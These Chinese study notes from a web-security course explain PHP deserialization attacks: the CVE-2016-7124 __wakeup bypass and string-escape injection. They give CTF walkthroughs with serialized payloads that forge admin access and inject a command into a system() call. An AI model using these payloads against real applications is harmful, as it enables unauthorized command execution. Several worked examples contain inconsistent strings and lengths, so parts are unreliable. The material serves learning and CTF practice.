文章目录
前记
- 今天是学习小迪安全的第六十一天,本节课是PHP原生反序列化的最后一讲,主要就是其利用方式
- 这节课比较难理解,尤其是字符串逃逸的内容,我还是按照自己的思路尽可能详细地把这个知识点讲清楚
- 本篇笔记的内容可能与视频有些出入(主要是在演示案例上),所以尽量先观看一遍视频再来看我的笔记
WEB攻防——第六十一天
PHP反序列化&原生类 TIPS&字符串逃逸&CVE绕过漏洞&属性类型特征
PHP - 属性类型-公有&私有&受保护
- 在PHP中,对象的属性有三种访问控制符修饰:
public
:公有属性,该属性可以在任何地方被访问(本类内部、外部类、子类)protected
:受保护属性,只有在本类、子类或者父类中访问private
:私有属性,只有本类内部可以访问
- 在序列化中,不同的访问控制符修饰的属性会被转为不同的数据:
public
属性序列化后格式是正常的成员名private
属性序列化后格式为%00类名%00
成员名protected
属性序列化后格式为%00*%00
成员名
- 简单的小例子:
O:4:"test":3:{s:4:"name";s:6:"xiaodi";s:9:" test age";s:2:"31";s:6:" * sex";s:3:"man";}
- 但不管是什么,构造POP链的时候都按两种构造方法尝试一下:
- 按原有的控制符直接构造
- 按public控制符构造
PHP - 绕过漏洞-CVE&字符串逃逸
CVE-2016-7124
-
漏洞描述:反序列化器在解析序列化字符串时,如果字符串中声明的属性个数大于实际给出的属性个数,PHP 会直接跳过
__wakeup()
的执行。 -
影响版本:
PHP 5.x < 5.6.25
;PHP 7.x < 7.0.10
-
利用条件:
- 目标脚本使用
unserialize()
且参数可控; - 被反序列化的类定义了
__wakeup()
,并在其中执行了安全校验或变量初始化; - 同一类在
__destruct()
/__toString()
等其它魔术方法里存在可利用的敏感操作(任意文件读写、命令执行等)。
- 目标脚本使用
-
下面我们直接用
ctf
题目来看一看这个漏洞是如何利用的,题目是极客大挑战 2019:
-
提示说有备份文件,这里可以用扫描工具扫出来为
www.zip
,下载下来后打开分析代码:
-
flag.php
里面的是假的flag
,不管,我们先看index.php
,主要代码是这个:
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
- 需要我们传入的参数为
select
,然后对这个参数进行反序列化,现在我们看class.php
:
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
-
他的逻辑是这样的,我们要拿到
flag
需要让username='admin'
并且password=100
-
但是现在他需要进行反序列化,那么在我们传入序列化数据之后,他会调用
__wakeup()
魔术方法去将我们的username
改为guest
-
也就是说,我们必须要想办法绕过
__wakeup()
方法,那我们就想到了这个漏洞,现在只需要看一看他的PHP版本符不符合利用条件 -
直接抓包,或者
F12
看一看:
-
这里可以看到它的PHP版本为
5.3.3
,是符合利用条件的,那我们首先三步曲得到构造代码:
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
echo serialize(new Name());
// 输出:O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
-
现在传进去肯定是不行的,我们需要将
Name
后面的2改大一点,然后再利用,当然这里需要URL编码一下,因为特殊字符有点多:
-
注意!URL编码需要放到php中使用
urlencode()
进行编码,否则它的%00
是没办法被编码的!
字符串逃逸
PHP特性
- 在理解字符串逃逸之前,我们先来说一个很重要的东西,就是PHP的特性
- 对于反序列化字符串,PHP是严格按照长度读取字符的,而不是依靠引号或者分号!
- 而底层代码是以
;
作为字段的分隔,以}
作为结尾(字符串除外)并且是根据长度判断内容的 - 比如有一个反序列化的字符串为:
$x = 'O:1:"a":2:{s:4:"name";s:5:"admin";s:3:"age";i:20;}';
print_r(unserialize($x));
/* 输出:
a Object
(
[name] => admin
[age] => 20
)
*/
- 我们将
name
值后面的部分加到xiaodi
后面,变成这样:
$x = 'O:1:"a":2:{s:4:"name";s:23:"admin";s:3:"age";i:20;}";s:3:"age";i:20;}';
print_r(unserialize($x));
/* 输出:
a Object
(
[name] => admin";s:3:"age";i:20;}
[age] => 20
)
*/
- 从上面的例子就可以看出,PHP它是以前面的数字去进行切分的,而不是通过引号或者分号去切分!
- 好,了解完这个特性之后,我们就去看什么是字符串逃逸
原理
- 字符逃逸就是在序列化字符串被过滤(字符变多或变少)后,利用长度不匹配的特性,将攻击者构造的恶意数据“挤”进反序列化结果中
- 现在有一个反序列化数据:
O:1:"a":2:{s:4:"name";s:5:"admin";s:3:"age";i:20;}
- 然后假设我们存在过滤或者替换,将
admin
替换为其他的字符,那这里就存在两种情况:- 字符串增多:占位
- 字符串减少:补位
- 现在我们来一一演示这两种情况:
字符串增多
- 比如当将
admin
替换为hacker
时(字符串增多!),也就是现在反序列化数据变成了:
O:1:"a":2:{s:4:"name";s:5:"hacker";s:3:"age";i:20;}
-
由于是严格按照长度解析数据,所以现在就解析不了了,那我们怎么样能让他继续解析呢?
-
我们可以先数一数
admin
后面共有多少个字符,这里是18个字符:
-
于是我们可以算一笔账:
现在:admin(5字符) 替换之后:hacker(6字符)
如果我写18个admin呢?就是 5 * 18 = 90个字符
那替换之后就变成了18个hacker --> 就是 6 * 18 = 108个字符
那如果要让他识别到正确的字符串,我是不是还差18个字符?那这些字符谁补呢?
就是后面的";s:3:"age";i:20;}去补啊
- 于是我们构造出来逃逸的反序列化数据就是:
O:1:"a":2:{s:4:"name";s:108:"adminadmi...admin";s:3:"age";i:20;}
18个admin 18个其他字符
// 解析得到的对象为:
/*
a Object
(
[name] => admin...admin";s:3:"age";i:20;}
)
*/
- 那它替换之后,就变成了这个数据:
O:1:"a":2:{s:4:"name";s:108:"hacker...hacker";s:3:"age";i:20;}
18个hacker
// 解析得到的对象为:
/*
a Object
(
[name] => hacker...hacker
[age] => 20
)
*/
- 现在就可以很明显的看到区别了吧,替换之后,
age
逃逸出来了,那假如这个age
我们一开始是不可控的,现在是不是就可控了?
字符串减少
- 再比如当
admin
替换之后变成了hack
(字符串减少!),现在反序列化数据就变成了:
O:1:"a":2:{s:4:"name";s:5:"hack";s:3:"age";i:20;}
-
这同样也解析不了,因为分号被解析到字符串中了,所以他没办法读到下一个数据了。那这里又怎么让他解析呢?
-
我们还是来数一数
admin
后面的数据长度:
-
这里有18个字符,好,我们继续来算笔账:
现在:admin(5个字符) 替换之后:hack(4个字符)
如果我写18个admin呢?就是 18 * 5 = 90 个字节
替换之后就变成了18个hack --> 就是 18 * 4 = 72 个字节
那如果要让他识别到正确的字符串,我是不是最后这里还少了18个字节?
那这18个字节谁补给它呢?就正好是我们标注出来的18个字节啊
- 于是我们构造出来逃逸的反序列化数据就是:
O:1:"a":2:{s:4:"name";s:90:"adminadmi...admin";s:3:"age";i:20;}";s:3:"age";i:999;}
18个admin 18个其他字符
// 解析得到的对象为:
/*
a Object
(
[name] => admin...admin
[age] => 20
// 舍弃掉后面的东西
)
*/
- 那它替换之后,就变成了这个数据:
O:1:"a":2:{s:4:"name";s:90:"hack...hack";s:3:"age";i:20;}";s:3:"age";i:999;}
18个hack
// 解析得到的对象为:
/*
a Object
(
[name] => hacker...hacker";s:3:"age";i:20;}
[age] => 999
// 覆盖掉原来的age值
)
*/
- 怎么说呢,我其实还是不太了解这个字符串逃逸的原理,我看网上资料和小迪讲得都不太一样,问AI也不一样
- 但是能理解个大概,逃逸方式有多种多样,我是这种只可意会不可言传的阶段,你们多看几篇文章自己理解一下吧[哭]
实战案例
- 这里的话,我们就不拿小迪课上的案例来演示了,因为我觉得那个都不太直观明了
- 我就自己在网上找了一个例子(也是一个ctf题)来让大家更好地理解这个东西,源代码如下:
// flag in flag.php
function waf($str) {
return str_replace("bad", "good", $str);
}
class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
unserialize(waf(serialize(new GetFlag($_GET['key']))));
- 这个题的逻辑就是只让我们输入
key
去构造一个对象,然后序列化、反序列化执行命令cmd
- 那我们思路就很明了了,尝试去修改它的
$cmd
参数,导致命令执行 - 这里如果我们直接去尝试构造POP链的话是没用的,因为它只接收
key
去生成对象,比如你构造为:
?key=123";s:3:"cmd";s:6:"whoami";}
- 有什么用呢?没用的啊,它只是对
key
赋值,并不会改动cmd
- 但是真的构造不了吗?我们可以看到有一个
waf()
函数,它会将我们传入的bad
替换为good
,那这个就会导致字符串增长,这不典型的字符串逃逸吗? - 这里我们简单分析一下,首先生成一个正常的反序列化数据,然后改动cmd的值为我们想要它执行的东西:
O:7:"GetFlag":2:{s:3:"key";s:3:"123";s:3:"cmd";s:2:"ls";}
- 现在,我们数一数123后面的字符数有22个,于是我们写入22个
bad
把参数变成这样:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}
- 现在它传入之后一解析,
key
的值变成了badbad...bad";s:3:"cmd";s:2:"ls";}
,于是序列化之后的值为:
O:7:"GetFlag":2:{s:3:"key";s:88:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}
- 如果此时不经过
waf()
函数替换,那么反序列化之后的对象就是这样:
/*
GetFlag Object
(
[key] => badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}
[cmd] => whoami
)
*/
- 再经过
waf()
函数替换,变成了这样:
O:7:"GetFlag":2:{s:3:"key";s:88:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}
- 中间的
good
刚好88个字符,于是我们后面自己的cmd
就逃逸出来了,赋值为ls
,最终的对象为:
/*
GetFlag Object
(
[key] => goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood
[cmd] => ls
}
*/
- 因此控制了
cmd
参数的值,这道题就解得差不多了 - 那从上面这道例题,我相信你应该就能够了解字符串逃逸是个什么东西了,我是感觉能理解,但是很抽象
- 这里就不演示小迪的案例了(太头痛了),有兴趣的小伙伴就自己下去复现一下吧